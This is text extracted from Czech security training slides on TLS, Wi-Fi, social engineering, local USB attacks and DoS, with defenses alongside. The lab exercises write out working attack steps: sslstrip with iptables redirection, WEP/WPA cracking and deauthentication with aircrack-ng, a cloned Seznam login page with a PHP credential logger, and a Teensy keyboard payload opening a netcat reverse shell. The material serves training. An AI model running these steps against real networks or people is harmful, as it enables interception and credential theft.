Šifruje se veřejným klíčem příjemce, který je pak jediný schopen zprávu přečíst Ve skutečnosti se pro šifrování dat použije symetrická šifra, ale klíč se zašifruje asymetrickou šifrou a připojí se ke zprávě
Podpis ●
Vytvoří se hash zprávy
●
Ten se zašifruje privátním klíčem odesílatele
111
SSL/TLS ●
PKI ●
Infrastruktura pro správu a distribuci veřejných klíčů
●
Přenos důvěry –
●
●
Není nutné ověřovat každý veřejný klíč individuálně
Certifikační autorita ●
Vydává digitální certifikáty
●
Hierarchická struktura
Síť důvěry ●
Distribuovaný systém
●
Důvěra se řetězí 112
SSL/TLS ●
Certifikáty ●
Klient si ověřuje platnost certifikátu a jméno serveru
●
Certifikát obsahuje veřejný klíč serveru
●
Certifikát (včetně klíče) je podepsán certifikační autoritou – – –
Hash certifikátu zašifrovaný privátním klíčem CA Klient pomocí veřejného klíče CA (je-li v důvěryhodných) dešifruje hash a zároveň si udělá vlastní hash certifikátu Pokud se výsledky shodují, je ověřeno, že certifikát vydala příslušná CA
113
SSL/TLS ●
SSL/TLS komunikace ●
●
● ●
●
Klient a server se nejprve dohodnou na používaných algoritmech, server odešle svůj certifikát obsahující veřejný klíč serveru Klient vygeneruje náhodná data a pošle je serveru zašifrovaná pomocí veřejného klíče serveru
Server pošle svá náhodná data Server i klient zkombinují dohodnutým způsobem náhodná data od klienta a serveru a aplikují na ně dohodnutou hashovací funkci, tím vznikne klíč, který znají jen server a klient Další komunikaci se již šifruje pomocí tohoto klíče 114
SSL/TLS ●
Útoky na SSL/TLS ●
Využívající chyby či nepozornosti uživatele –
Vystavení vlastního certifikátu Zneužívá návyku uživatelů chyby certifikátu ignorovat ● Cain, Ettercap ●
–
StripSSL Útočník stojí mezi uživatelem a serverem, využívá nepozornosti uživatele ● Proxy mezi obětí a serverem, navazuje spojení se serverem za oběť a s obětí komunikuje přes HTTP ● Program sslstrip.py ●
115
116
SSL/TLS ●
Obrana: ●
Výchova uživatelů
●
Použití HTTP Strict Transport Security(HSTS) – – –
Vynucuje HTTPS Strict-Transport-Security: max-age=60000 Pokud útočník zachytí komunikaci před prvním spojením se serverem, pak to již není účinné
117
SSL/TLS ●
Využívající chyby v implementaci – – –
Vždy je potřeba pozice MitM BREACH Využití kompresních algoritmů pro HTTP ●
–
–
gzip, deflate
Když se vyskytuje stejný výraz víckrát, je na něj udělán pouze odkaz „tento text se vyskytuje x znaků předem“ Takto lze ze stránek extrahovat čísla karet, username, různá rodná čísla, apod.
118
–
– – – –
Útočník nyní musí pomocí sociálního inženýrství podvrhnout oběti link na stránku s javascriptem, který bude postupně posílat linky se zvyšujícím se hledaným číslem doma.bastovi.com/breach/hledej?=100 doma.bastovi.com/breach/hledej?=101 … Útočník musí být schopen sledovat velikost vracejících se odpovědí
119
SSL/TLS ●
Obrana: ●
Ochrana zranitelných stránek CSRF tokenem
●
Přidání náhodných dat do odpovědí serveru
●
Oddělení citlivých dat od stránek, kde se zobrazuje výstup
120
Cvičení: SSL STRIP ●
Vypneme IPv6 ●
● ●
●
echo 1 > /proc/sys/net/ipv6/conf/eth0/disable_ipv6
Spusťte vše jako při otravě ARP cache iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 Kontrola iptables -t nat -L
121
Cvičení: SSL STRIP ● ●
sslstrip -w hesla Z počítače oběti zkusíme např. facebook.com, yahoo.com a zadáme nějaké vymyšlené přihlášení
122
Útoky na Wi-Fi
123
Útoky na Wi-Fi ●
Bezdrátové sítě
●
Používá bezlicenční pásmo
●
●
Signál není vázán na fyzické médium, nemáme tedy kontrolu nad jeho šířením Provozní zprávy nejsou šifrovány (management a control frames)
124
(NE)zabezpečení ●
Filtrování MAC adres ●
●
MAC si zjistím a nastavím
Skrývání SSID sítě ●
●
Klient ji při připojování prozradí, stačí jej tedy z WiFi vyhodit WEP –
●
Velmi rychlé prolomení
WPA-PSK se slabým heslem –
Slabé klíče možno prolomit pomocí slovníkového útoku 125
WEP ● ●
●
●
64 ,128 nebo 256 bit klíč Tajný (a sdílený) klíč + měnící se IV (Initialization vector) klíč generovaný vysílací stranou IV má vždy 24 bitů, zbytek je pro uživatelský klíč IV se posílá v nešifrované podobě v záhlaví rámce
126
WEP ●
XOR (Exkluzivní disjunkce) ...buď a nebo...
●
A
B A⊕B
0
0
0
0
1
1
1
0
1
1
1
0
127
WEP
128
WEP ●
●
●
●
Šifra RC4 měla zabezpečit jedinečnost vzniklých šifrovacích klíčů Problém → Tajný klíč se nemění, náhodnost závisí jen od IV Délka IV jen 24 bit → 16,8 miliónu kombinací → dochází k opakování šifrovacích klíčů Při nachytání dostatečného množství zašifrovaných dotazů (cca 50 000 a více) lze WEP klíč získat aplikováním matematických a statistických metod 129
WEP ●
Při útoku se zachytávají zašifrované ARP dotazy ●
●
Při velkém provozu je lze nachytat i pasivním odposlechem
●
Lze je snadno rozeznat dle velikosti
●
Lze snadno vynutit jejich opakování
Opakovaným zasíláním ARP dotazů směrem k AP se vygeneruje potřebný počet rámců (a IV)
130
Cvičení: WEP ●
Seznámení s nástroji z rodiny aircrack-ng
131
Cvičení: WEP Prolomení hesla k Wi-Fi síti skoleni_wep. ●
Start rozhraní pro zachytávání Wi-Fi rámců ●
●
Zastavení network-manager ●
●
airmon-ng start wlan0 service network-manager stop
Start monitorování ● ●
airodump-ng mon0 airodump-ng --channel XY --bssid XY mon0 --write nazev_souboru 132
Cvičení: WEP ●
Odchycení a přeposlání ARP paketu ●
POZOR! aireplay nebude fungovat, pokud není spuštěn airodump z předchozího slidu!
●
aireplay-ng -3 -x 100 –b MACAP –h MACCL mon0
-3 přeposlání ARP Vykopnutí klienta ze sítě (kvůli vyprovokování ARP komunikace) –
●
aireplay-ng -0 1 –a MACAP –c MACCL mon0 – -0 posílá odpojení klienta ze sítě – 1 určuje počet sad odpojení aircrack-ng nazev_souboru.cap –
●
133
Rozšířené cvičení ●
●
Otevřete soubor s daty nachytanými během předchozího cvičení, tedy ten s koncovkou .cap ve wiresharku Měli byste vidět pouze kontrolní a management rámce. Zbytek komunikace je zašifrován.
●
Zadáme http jako filtr do wiresharku
●
Otevřeme edit → Preferences
●
Rozklikneme položku Protocols 134
Rozšířené cvičení ●
Označíme protokol IEEE 802.11
●
Zatrhneme položku Enable decryption
●
Klikneme na Edit u položky Decryption Keys
●
Zvolíme Nový a v následujícím okně ponecháme „key type“ wep a jako Key vložíme hexadecimální hodnotu hesla získanou při prolomení WEP hesla i s dvojtečkami [62:69:6E:67:6F]
135
Rozšířené cvičení ●
Vše potvrdíme a nyní by se nám měl objevit v hlavním okně wiresharku dešifrovaný HTTP provoz, po zrušení filtru na HTTP můžeme vidět i ostatní dešifrovaná data
136
WPA-PSK ● ●
●
●
Klienti sdílí stejný klíč pro přístup do sítě Každý klient má stejný 256bit PMK (Pairwise Master Key) klíč pro přístup k síti Každý klient má svůj jedinečný PTK (Pairwise Transient Key) klíč PMK generován pomocí funkce PBKDF2 (RFC2898) ● ●
Hash funkce SHA1-HMAC (RFC3174,RFC2104) PMK = PBKDF2(heslo, SSID, Počet iterací (brzda) = 4096, délka klíče = 256) 137
WPA-PSK ●
●
PTK klíč se vygeneruje po úspěšném připojení pomocí PMK Proces generování PTK
138
WPA-PSK ●
●
● ●
●
PTK se vygeneruje z PMK, MAC klienta, MAC AP, výzvy klienta a výzvy AP Pokud špatný PMK, pak handshake skončí hned po prvním kroku Z PTK se odvodí klíče pro šifrování a kontrolní součty Heslo WPA-PSK jde prolomit jen slovníkovým útokem, je brzděn nutností 4096x generovat hash pro PMK Při dobře zvoleném hesle neprolomitelný v použitelném čase
139
WPA-PSK ● ●
Pozor na výchozí SSID → Rainbow tables Pozor na riziko hotelů a dalších veřejných sítí s WPA! ●
● ●
Každý, kdo zná sdílené heslo pro přístup k síti, již může, stejně jako u WEP, číst vše, co posíláte Musí pouze získat kompletní 4-way handshake Aby toho dosáhl u již připojeného uživatele, stačí mu jej „vykopnout“ ze sítě, počítač se pak musí přihlásit a znovu získat PTK
140
141
WPA-PSK ●
WPS (Wi-Fi Protected Setup) ●
●
●
●
●
●
Router nakonfiguruje v OS heslo pro přístup k WPAPSK síti automaticky Uživatel pouze zadá 8místný kód, který je někde na „krabičce“ Díky chybě implementace se potvrzuje každá polovina hesla zvlášť Útočník tedy nehádá 10^8 kombinací, ale 10^4 + 10^4 = 20 000 kombinací Ve skutečnosti ještě méně, protože 8. číslo v PIN je kontrolní součet Nástroj reaver 142
Cvičení: WPA-PSK ●
●
Samostatně prolomte heslo k Wi-Fi skoleni_wpa Start rozhraní pro zachytávání Wi-Fi rámců ●
●
Start monitorování ● ●
●
airmon-ng start wlan0 airodump-ng mon0 airodump-ng --channel XY --bssid XY --encrypt WPA mon0 --write nazev_souboru
Spustíme wireshark a jako filtr zadáme EAPOL 143
Cvičení: WPA-PSK ●
Vykopnutí klienta ze sítě (kvůli získání 4-way handshake)
●
aireplay-ng -0 1 –a MACAP –c MACCL mon0 Ve wiresharku sledujeme, zda máme všechny čtyři části 4-way handshake
●
Příprava wordlistu
–
gunzip /usr/share/wordlists/rockyou.txt.gz Jakmile máme kompletní handshake, můžeme použít aircrack-ng -w /usr/share/wordlists/rockyou.txt nazev_souboru.cap –
●
144
Další známé útoky na Wi-Fi ●
Falešné AP ●
●
Připravím AP se stejným názvem, po připojení na něj se zobrazuje formulář s žádostí o zadání jména hesla Pak vyhazuji klienty, dokud se někdo nechytí
●
Pozor na chyby v ovladačích Wi-Fi karet
●
Hole196 ●
●
●
Chyba by design na všech WPA a WPA2 sítích –
GTK (Group Temporal Key) pro broadcast a multicast
–
GTK je společné pro všechny klienty jednoho AP
–
Vyžaduje přihlášení do sítě
Umožňuje dešifrovat zprávy ostatních klientů (proto má smysl jen v 802.1X, i když zranitelné jsou i WPA-PSK), jedním směrem lze obejít také AP isolation mode
VOIP 145
Útoky na Wi-Fi ●
Obrana
●
Ve vaší síti ● ●
●
Nepoužívejte WEP Pokud potřebujete WPA-PSK, použijte heslo s vysokou entropií
●
Ideálně používejte 802.1X pro autentizaci
●
Zapněte AP isolation mode
Na cestách ●
Používejte vlastní šifrování
●
VPN
●
SSH Tunneling 146
Social engineering
147
Sociální inženýrství ●
●
Způsob, jak lidi přesvědčit, aby nám dali to, co chceme ... třeba heslo Různé druhy ●
Pretexting –
–
Příprava scénářů částečně založených na pravdivých tvrzeních, odkazování na autority, časový nátlak Získání citlivých údajů, změny plateb
148
Sociální inženýrství ●
Phishing –
●
Baiting –
●
Vylákání osobních či přihlašovacích údajů od uživatelů, většinou pomocí falešných e-mailových zpráv či webových stránek, tlak na čas, strach ze ztráty Útočník nechá přenosné médium s lákavým nadpisem na místě, kde bude pravděpodobně nalezeno obětí, využívá lidské zvědavosti
Tailgating –
Útočník si připraví falešný průkaz zaměstnance a prochází do zabezpečených částí firmy s autorizovaným zaměstnancem
149
Sociální inženýrství ●
Ochrana ●
Zavedení bezpečnostních politik a pravidel
●
Organizační opatření
●
Pravidelné školení zaměstnanců
●
Princip Need to know
●
Kvalitní prověřování nových zaměstnanců
150
Ukázka vytvoření phishingové stránky ●
Pomocí prohlížeče si uložíme kompletní stránku ●
●
Vytvoříme adresář seznam ●
●
mkdir /var/www/seznam
Do něj zkopírujeme uložený web ●
●
Soubor – uložit jako – typ webová stránky kompletní
cp -R Plocha/Sezna* /var/www/seznam
Připravíme soubor hacked.txt, do kterého se budou ukládat získaná data ●
touch /var/www/seznam/hacked.txt
●
chmod 777 hacked.txt 151
Ukázka vytvoření phishingové stránky ●
Vytvoříme soubor explore.php ●
vi /var/www/seznam/explore.php
●
Vložíme kód z následujícího slajdu
152
$value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, $value); fwrite($handle, "\r\n"); } fwrite($handle, "\r\n"); fclose($handle); exit; ?> 153
Ukázka vytvoření phishingové stránky ●
Postup ●
●
Pokud budeme dělat phishing na jinou stránku, pak se změní obsah Location:http://login.szn.cz –
Tato položka řídí, kam bude uživatel přesměrován po nepovedeném přihlášení
–
Proto by měla směrovat tam, kam uživatele nasměruje i reálná stránka, uživatel se pak domnívá, že se pouze spletl při zadávání údajů
Otevřeme si staženou stránku a najdeme položku action obsahující odkaz "https://login.szn.cz/loginProcess", kterou upravíme tak, aby odkazovala na náš soubor “explore.php“ – –
action=“explore.php“ POZOR https://login.szn.cz/loginProcess je potřeba nahradit dvakrát!!!!
●
Změníme název stažené stránky na index.html a upravíme cesty k souborům stránky 154
Ukázka vytvoření phishingové stránky ●
●
Všechny soubory stažené stránky, skript explore.php a soubor hacked.txt nahrajeme do stejného adresáře na webovém serveru Nyní otevřeme v prohlížeči URL 127.0.0.1/seznam a zkusíme zadat smyšlené jméno a heslo
●
Co se stane s webovou stránkou?
●
Podívejte se na obsah souboru hacked.txt
●
Možné problémy ●
Je potřeba povolit zápis do souboru hacked.txt
●
Je potřeba opravit relativní cesty v hlavním index souboru stažených stránek
155
Lokální útoky
156
Lokální útoky ●
●
Cílem obvykle získat přístup k citlivým údajům, nebo trvale ovládnout systém/doménu (eskalace privilegií, rootkit) Různé metody: ●
Útoky na chyby či funkce v OS
●
Hardwarové keyloggery
●
Výměnná média (CD-ROM, USB)
157
Lokální útoky ●
Útoky na funkce a chyby OS ●
WIN7 záměna Sethc.exe za cmd.exe – – – –
●
Z instalačního CD se zavede systém recovery Zaměním cmd.exe za Seth.exe Po restartu 5*shift Eskalace privilegií NET USER Jmeno Heslo
Získání Domain Admina Instalace keyloggeru, gsecdump (získání hash a user přímo z RAM, nebezpečí třeba u naplánovaných úloh), Msvctl (použití získaného hash)
158
Lokální útoky ●
Evil Maid Attack – – –
Zavádí se z flash disku Pozmění zavaděč truecryptu Zachytí zadávané heslo
159
Lokální útoky ●
Hardwarové keyloggery ●
http://www.keelog.com/
●
http://www.keyghost.com/USB-Keylogger.htm
160
Lokální útoky ● ●
●
●
Flash disky, U3 Flash, CD-ROM MS omezil ve Win7 a výše automatické spouštění obsahu flash Stále se však spouští CD-ROM a U3 Flash disky U3 ●
Switchblade
●
Hacksaw 161
HID USB zařízení ●
HID (Human Interface Device) ●
Univerzální protokol pro komunikaci vstupních zařízení (myš, klávesnice, joystick) s PC
●
Není potřeba mít ovladače pro různá zařízení
●
Host/Device
●
HID descriptor v ROM zařízení
●
Host zpracuje descriptor a pak může komunikovat se zařízením
162
Lokální útoky ●
Zařízení simulující klávesnici ●
USB Rubber Ducky http://hakshop.myshopify.com/products/usb-rubberducky – –
●
Vlastní zjednodušený jazyk, předem připravené útoky Různé útoky na paměťové kartě
Teensy – –
Jednočip (jako Arduino) Jazyk Arduino Programmable Language ●
http://arduino.cc/en/Reference/HomePage#.Ux2rg847GKk
163
HID USB zařízení ●
USB Rubber Ducky ●
● ●
http://hakshop.myshopify.com/products/usb-rubberducky Open Source firmware Vlastní zjednodušený jazyk, předem připravené útoky
●
Podpora microSD
●
Multiplatformní
164
HID USB zařízení ●
Teensy ●
Jednočip (AT90USB1286, 8 bit AVR, 16 MHz)
●
$ 24
●
●
Je možné si vybrat, jak se bude zařízení prezentovat vůči PC při provádění našeho programu (myš, klávesnice, joystick) Možno programovat útoky pro různé platformy – – –
Přidání administrátora Otevření portu Vzdálené připojení k shellu
165
Lokální útoky ● ●
Z pohledu PC se chová jako klávesnice Je možné zadávat různé příkazy pro shell i powershell –
●
http://www.pjrc.com/teensy/td_keyboard.html
Kautilya –
Software usnadňující generování exploitů ●
–
https://code.google.com/p/kautilya/
Umožňuje generování sofistikovaných útoků proti OS Linux, Windows i OS X
166
Použití jako HID zařízení ●
Jednoduchá varianta
●
Keyboard.print("Hello World ");
167
Hello World void setup() { delay(5000); Keyboard.print("Hello World"); } void loop() { }
168
Individuální zadávání kláves ●
● ●
●
Keyboard.print má své limity ●
Ctrl~C
●
Home, PrintScreen, kurzorové šipky
Keyboard.set_modifier(MODIFIERKEY_GUI); Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_ALT); Keyboard.set_modifier (0);
169
Individuální zadávání kláves ●
●
Možnost přenést až 6 kláves najednou ●
Keyboard.set_key1(KEY_A);
●
Keyboard.set_key2(KEY_B);
●
Keyboard.set_key3(KEY_C);
●
Keyboard.set_key4(KEY_D);
●
Keyboard.set_key5(KEY_E);
●
Keyboard.set_key6(KEY_F);
Keyboard.send_now();
170
Individuální zadávání kláves ●
Keyboard.set_modifier(0);
●
Keyboard.set_key1(0);
171
Individuální zadávání kláves
172
Cvičení: Lokální útoky ●
Spuštění vývojového prostředí
cd arduino-1.0.5 ./arduino ●
Správné nastavení a první test (blink)
●
Samostatné cvičení:
●
Zjistěte si svou IP adresu pomocí příkazu ifconfig
173
Cvičení: Lokální útoky ●
●
V souboru remote_shell_linux v adresáři root najdete kód programu Překopírujte jej do vývojového rozhraní pro Arduino a opravte IP v proměnné PAYLOAD na vaši IP
●
Naprogramujte zařízení a odpojte
●
Spusťte příkaz nc -l -p 4444
●
Na sousedním PC spusťte terminál a připojte Teensy
174
Cvičení: Lokální útoky ●
Po spuštění kódu vyzkoušejte na PC, kde je spuštěn program nc zadat do stejného okna třeba příkaz ifconfig – měla by se zobrazit IP sousedního PC
175
DoS & DDoS
176
DoS & DDoS ●
●
●
DoS – Denial of Service ●
Odmítnutí služby
●
Útok z jednoho zdroje
DDoS – Distributed Denial of Service ●
Odmítnutí služby
●
Ale útok z více zdrojů
●
Především na síťové a transportní vrstvě
Průběh útoku závisí na vrstvě, na které se útok provádí
DoS & DDoS útoky na jednotlivých vrstvách ●
●
●
Fyzická vrstva ●
Fyzické zničení/poškození infrastruktury
●
Vytažení síťového nebo napájecího kabelu
Linková vrstva ●
ARP spoofing
●
RA flooding
IP vrstva ●
Smurf attack –
ICMP broadcast paket s podvrženou IP oběti
DoS & DDoS útoky na jednotlivých vrstvách ●
Fraggle attack –
●
ICMP flood –
●
●
Posílá UDP pakety na broadcast adresu, podobný předešlému útoku, zneužíval službu CHARGEN, dnes již většina sítí imunní Zaplavení oběti ICMP požadavky, obvykle ping
Ping of Death
Transportní ●
DrDoS
●
SYN Flood
DoS & DDoS útoky na jednotlivých vrstvách ●
Teardrop –
●
Zneužíval chyby ve zpracování fragmentovaných IP datagramů v některých OS
Aplikační ●
Slowloris
●
Chyby firmware
●
Chyby aplikací, ovladačů
●
Amplification útoky
●
Vyčerpání limitů serveru (paměť, procesor, místo na disku)
SYN Flood ●
Transportní vrstva ●
TCP three-way handshake –
●
SYN, SYN ACK, ACK
Útočník posílá velké množství požadavků na zahájení komunikace – – – –
Podvržené IP adresy Server se nedočká odpovědi ACK Zaplní se fronta pro možná otevřená spojení Systém již neumožní navazovat nová připojení do vypršení časového limitu pro uzavření již navázaných spojení
SYN Flood ●
Obrana spočívá v nasazení SYN Cookies ●
●
●
●
Server po obdržení SYN paketu odešle odpověď klientu a žádost zahodí Sekvenční číslo však není generováno zcela náhodně, ale podle daných pravidel (čas, IP klienta i serveru, číslo portu, tajná šifra ...) Až pokud server obdrží odpověď od klienta, odvodí si zpětně podle sekvenčního čísla zda se jedná o korektní komunikaci a spojení otevře
Ukázka
Distributed Reflection Denial of Service (DRDoS) ●
●
●
●
Útočník odesílá SYN paket s podvrženou IP adresou na různé servery v internetu Odpovědi SYN/ACK jsou odesílány na podvrženou IP adresu Pokud z IP adresy oběti nepřijde odpověď, je SYN/ACK poslán ještě třikrát (to zvětšuje počet odeslaných paketů) Obranu je vhodné konzultovat s ISP, důkladná analýza paketů, hledání signatur, navazuje můj server komunikaci (má dostávat SYN/ACK pakety?), jakou filtraci vlastně umožňují zařízení mého ISP, nastavení FW k odesílání RST
Slowloris ●
Útok na HTTP servery
●
Nenáročný na síťový provoz
●
Útočník odešle neukončený HTTP požadavek a postupně pak posílá další požadavky, tak aby nevypršel časový limit
Slowloris ●
●
●
Dojde k vyčerpání limitu maximálního množství souběžně otevřených spojení Detekce možná jen díky velkému množství otevřených spojení na serveru, jinak se vše jeví „v pořádku“ Obrana ●
●
Specializované moduly, iptables, omezení počtu spojení v apache (mod_limitipconn)
Ukázka
Amplification útoky ●
●
● ●
●
Zesílení útoku (amplification) zneužitím vhodné služby – pákový efekt Služby na protokolu UDP ●
Umožňují snadno podvrhnout zdrojovou IP adresu
●
Odpověď tak přijde na podvrženou IP adresu oběti
Velice účinné V posledních letech jeden z nejčastějších DoS/DDoS Různé zneužívané služby DNS, NTP, SNMP
Amplification útoky
Amplification útoky ●
●
Obrana je obtížná ●
Spolupráce s ISP
●
Oslovení zdrojů útoku
Důležitá je prevence ● ●
BCP 38 Zabezpečení služeb zneužitelných k amplification útokům
DNS Amplification útok ●
Zneužívá DNS servery ●
Otevřené resolvery – –
●
Rekurzivní DNS servery bez omezení možných klientů Nejlépe omezit klienty jen na svou síť
Autoritativní DNS servery – – –
Těžko se omezuje Používá se technika Response Rate Limiting (RRL) RRL omezuje na základě sledování dotazů rychlost zasílání odpovědí
NTP Amplification útok ●
Zneužívá servery Network Time Protocol (NTP) Zneužívá se příkaz monlist – Vrací seznam posledních 600 IP adres – Test zranitelnosti ntpdc -n -c monlist IP Zneužití serveru lze zabránit úpravou konfigurace nebo upgradem ●
●
SNMP Amplification útok ●
Zneužívá Simple Network Management Protocol (SNMP) ● ●
●
Pozor na výchozí community strings SNMPv3 umožňuje šifrovaný přenos – Zabrání útočníkovi jméno a heslo odposlechnout Vhodné ošetřit také pomocí ACL
Příklady z praxe ●
DNS Amplification útok proti cíli v Lotyšsku ●
Cca 170 DNS serverů z ČR
●
Zneužity také servery Mikrotik
●
●
Následná analýza ukázala na problém ve výchozí konfiguraci RouterOS
Vydírání herního serveru ●
UDP flood
●
Požadována platba $ 500 měsíčně
Příklady z praxe ●
Anonymous ●
Hacktivismus
●
Mnoho útoků na různé cíle v ČR
●
Organizovaní přes IRC
●
Používané nástroje:
●
Low Orbit Ion Cannon (LOIC) – – –
UDP TCP HTTP
Příklady z praxe ●
High Orbit Ion Cannon (HOIC) – –
●
HTTP požadavky Booster
●
JSLoic, LOIC Android, Slowloris
●
NAT x IP spoofing
DoS útoky z března 2013 ●
SYN Flood
●
DRDoS
●
Většina paketů přišla z jediné sítě
Příklady z praxe ●
Útok nebyl tak silný (max. 1 Gbps), ale překvapil – – –
●
Vypnuté SYN Cookies Nedostatečný firewall Nahromadění služeb v jednom segmentu
Použitá řešení – – – –
Filtrace provozu Kontrolované odstavení služby Přesunutí ostatních služeb do jiného IP prostoru Omezení provozu jen na uživatele v ČR
Příklady z praxe ●
Odregistrace/registrace modemů a náhodné restarty modemů v xDSL síti ISP ●
Modemy Zyxel a některé TP-Link
●
Speciální pakety z portu 0 na port 0
●
Jednoznačná signatura
●
Díky známé signatuře je snadno filtrován
●
Stále se analyzuje
Detekce ●
Logy
●
Analýza síťového provozu
●
IDS a IPS systémy
●
Komerční řešení
●
●
Důležitá je dobrá technika detekce a málo false positive Různé přístupy, sledování zdrojových IP, porovnání s běžným stavem, statistická analýza různých síťových vrstev
Prevence ●
Záplatované síťové prvky i servery ●
●
●
Důležité především z hlediska útoků na aplikační vrstvě Pro webové servery možnost využít službu www.skenerwebu.cz
Sledování trendů a informací o nových zranitelnostech v provozovaných platformách ●
Proč čekat až problém dorazí i k nám (Zyxel)
Prevence ●
Penetrační testování ● ●
●
●
Nejen testování odolnosti služeb Možnost nechat si otestovat síť na útok podobný těm z března 2013 Pomůže najít slabá místa dříve, než je najde útočník
Plány pro případ útoku ●
Důležité vědět, co dělat a kdo má jaké pravomoci
Obrana ●
Závisí na vektoru útoku ●
●
Útok na chybu v aplikaci → aplikační firewall, firewall, záplatování, změna konfigurace Útok vyčerpáním prostředků → navýšení prostředků (přidání paměti), rekonfigurace (dočasné omezení logování, apod.), využití nástrojů pro omezení vyčerpání prostředků (SYN Cookies), znepřístupnění části aplikace (volané skripty zatěžující procesor)
Obrana ●
●
Zahlcení síťovým provozem → rozložení zátěže (load balancing, anycast), filtrování síťového provozu na základě typických znaků, obětování části provozu (zahraniční klienti) Při skutečně masivním útoku na síťové či transportní vrstvě je nutná spolupráce s ISP
Obecná doporučení k bezpečnosti ●
Sledujte trendy
●
Školte zaměstnance
●
●
●
Provádějte bezpečnostní audity a penetrační testování Udržujte si přehled o incidentech ve Vaší společnosti Mějte připraveny krizové plány
203
Užitečné odkazy ●
http://www.csirt.cz/news/security/ ●
●
●
http://www.root.cz ●
Každé pondělí „Postřehy z bezpečnosti“
●
Souhrn událostí na poli bezpečnosti z posledního týdne
http://www.soom.cz/ ●
●
Novinky z bezpečnosti zaměřené na ČR
Český server o hackingu
http://www.kyberbezpecnost.cz/ 204
Únos sezení ●
Obrana ● ●
●
Dostatečně dlouhé a náhodné identifikátory Použití příznaků secure (přenos pouze přes HTTPS) a HTTPOnly (omezení dostupnosti Session Cookie pouze pro HTTP (omezí útoky typu XSS) Omezení platnosti Cookies (odhlášení, zavření prohlížeče, nové cookies po každé akci), sledování IP
205
Užitečné odkazy ●
https://bettercrypto.org/ ●
Návody na lepší zabezpečení různých síťových služeb
●
http://securityaffairs.co/wordpress/
●
http://thehackernews.com/
●
https://isc.sans.edu/
●
http://www.govcert.cz/cs/informacni-servis/zranit elnosti/
206
Děkuji za pozornost Prosíme, nezapomeňte se odhlásit z webových služeb, pokud jste některé během školení používali (Facebook, gmail, etc).
Pavel Bašta •
[email protected]
207